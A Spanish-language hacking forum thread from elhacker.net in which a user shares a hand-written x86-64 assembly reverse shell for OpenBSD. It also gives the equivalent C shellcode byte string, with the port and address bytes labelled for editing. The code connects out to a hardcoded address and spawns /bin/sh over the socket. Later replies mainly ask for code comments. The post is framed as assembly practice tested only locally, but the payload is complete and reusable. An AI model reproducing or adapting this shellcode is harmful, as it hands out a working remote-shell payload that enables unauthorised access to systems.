elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  [!] Reverse shell Unix-like
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [!] Reverse shell Unix-like  (Leído 1,858 veces)
cpu2


Desconectado Desconectado

Mensajes: 767


Ver Perfil
[!] Reverse shell Unix-like
« en: 11 Enero 2013, 14:41 »

Hola

Para poner en practica los conocimientos que voy adquiriendo en ASM, hice una pequeña reverse shell de 64bits.

Esta testeada en OpenBSD y en nivel local, no remoto, solo es para poner en practica mis conocimientos, eso lo dejo bien claro.

Código
  1. .section .text
  2. .globl _start
  3.  
  4. _start:
  5.  
  6. incb %al
  7. pushq %rax
  8. popq %rsi
  9. incb %al
  10. pushq %rax                      //socket
  11. popq %rdi
  12. orb $0x4, %al
  13. pushq %rax
  14. popq %rdx
  15. addb $0x5b, %al
  16. syscall
  17.  
  18. xchgq %rax, %rdi            //descriptor
  19.  
  20. movq $0x0100007f4dbc02ff, %rbx        //sockaddr_in
  21. pushq %rbx
  22.  
  23. movq %rsp, %rsi
  24. movb $0x10, %dl                   //connect
  25. orb $0x60, %al
  26. syscall
  27.  
  28. xorq %rsi, %rsi
  29.  
  30. C.0:
  31.  
  32. movb $0x5a, %al
  33. syscall
  34. incb %sil                             //dup2 0,1,2
  35. cmpb $0x03, %sil
  36.  
  37. loopne C.0
  38.  
  39. movq $0x68732f6e69622fff, %rbx
  40. shrq $0x8, %rbx
  41. pushq %rbx
  42. movq %rsp, %rdi
  43. xorb %al, %al                       //execve sh
  44. pushq %rax
  45. movq %rsp, %rsi
  46. xchgq %rax, %rdx
  47. addb $0x2b, %al
  48. syscall
  49.  
  50. xorb %al, %al
     

C:

Código
  1. "\xfe\xc0\x50\x5e\xfe\xc0\x50\x5f\x0c\x04\x50\x5a"
  2. "\x04\x5b\x0f\x05\x48\x97\x48\xbb\xff\x02"
  3. "\xbc\x4d"                  // puerto
  4. "\x7f\x00\x00\x01"         // direccion
  5. "\x53\x48\x89\xe6\xb2\x10\x0c\x60\x0f\x05\x48\x31"
  6. "\xf6\xb0\x5a\x0f\x05\x48\xff\xc6\x48\x83\xfe\x03"
  7. "\xe0\xf3\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68"
  8. "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x30\xc0\x50\x48"
  9. "\x89\xe6\x48\x92\x04\x2b\x0f\x05\x30\xc0";

Cualquier pregrunta sobre el código no os cortéis.

Un saludo.
« Última modificación: 14 Enero 2013, 19:40 por cpu2 » En línea

0xDani


Desconectado Desconectado

Mensajes: 1.078



Ver Perfil
Re: [!] Reverse shell Unix-like
« Respuesta #1 en: 11 Enero 2013, 15:59 »

Vendria bien que le pusieses comentarios al codigo, para que lo podamos entender mejor.

Enhorabuena por terminar la reverse shell  ;-)

Saludos.
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
cpu2


Desconectado Desconectado

Mensajes: 767


Ver Perfil
Re: [!] Reverse shell Unix-like
« Respuesta #2 en: 12 Enero 2013, 01:53 »

Cual es la parte que no entiendes bien?

Un saludo.
En línea

ameise_1987

Desconectado Desconectado

Mensajes: 108



Ver Perfil
Re: [!] Reverse shell Unix-like
« Respuesta #3 en: 12 Enero 2013, 02:49 »

de estas hay bastantes, si te piden que la comentes la idea es que sea legible para las personas que recién se inician, eso creo yo.

saludos y gracias por compartir!!.
En línea

firma retirada por insultar/cachondearse de (anelkaos) del staff.
cpu2


Desconectado Desconectado

Mensajes: 767


Ver Perfil
Re: [!] Reverse shell Unix-like
« Respuesta #4 en: 14 Enero 2013, 16:19 »

Lo comentó línea por línea?

Un saludo.

P.D: También dejare el opcode para los de C.
En línea

jackgris

Desconectado Desconectado

Mensajes: 150



Ver Perfil
Re: [!] Reverse shell Unix-like
« Respuesta #5 en: 15 Enero 2013, 13:30 »

Este no es el caso, por no ser un código tan complicado, pero deberías comentarlo siempre, imagínate que realizas algo muy complejo sobre todo en ASM, y después de unos meses quieres retomar el código. Si no esta comentado, querrás tirar ese fuente a la basura jejeje
En línea

Falso Positivo

Desconectado Desconectado

Mensajes: 243



Ver Perfil WWW
Re: [!] Reverse shell Unix-like
« Respuesta #6 en: 15 Enero 2013, 16:36 »

Este no es el caso, por no ser un código tan complicado, pero deberías comentarlo siempre, imagínate que realizas algo muy complejo sobre todo en ASM, y después de unos meses quieres retomar el código. Si no esta comentado, querrás tirar ese fuente a la basura jejeje

eso tiene algo de realidad, pero una cosa es comentarlo para uno y otra orientada a personas que quieren aprender y empiezan por tratar de entender el funcionamiento de la rs
En línea

Don't worry, be hacked....
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Reverse Shell
Bugs y Exploits
Gospel 8 11,015 Último mensaje 3 Julio 2004, 05:07
por Jakin
reverse shell con NC
Hacking Básico
BrownRabbit 7 1,667 Último mensaje 11 Mayo 2004, 21:33
por byebye
Reverse Shell Con NETCAT
Hacking Básico
Chop 3 2,109 Último mensaje 8 Marzo 2005, 07:46
por Aironjack
SHELL REVERSE
Hacking Básico
ciruit 6 1,162 Último mensaje 13 Diciembre 2005, 23:13
por ciruit
Reverse Shell
Programación Visual Basic
cobein 9 2,284 Último mensaje 15 Septiembre 2010, 18:45
por VanHan
Powered by SMF 1.1.19 | SMF © 2006-2008, Simple Machines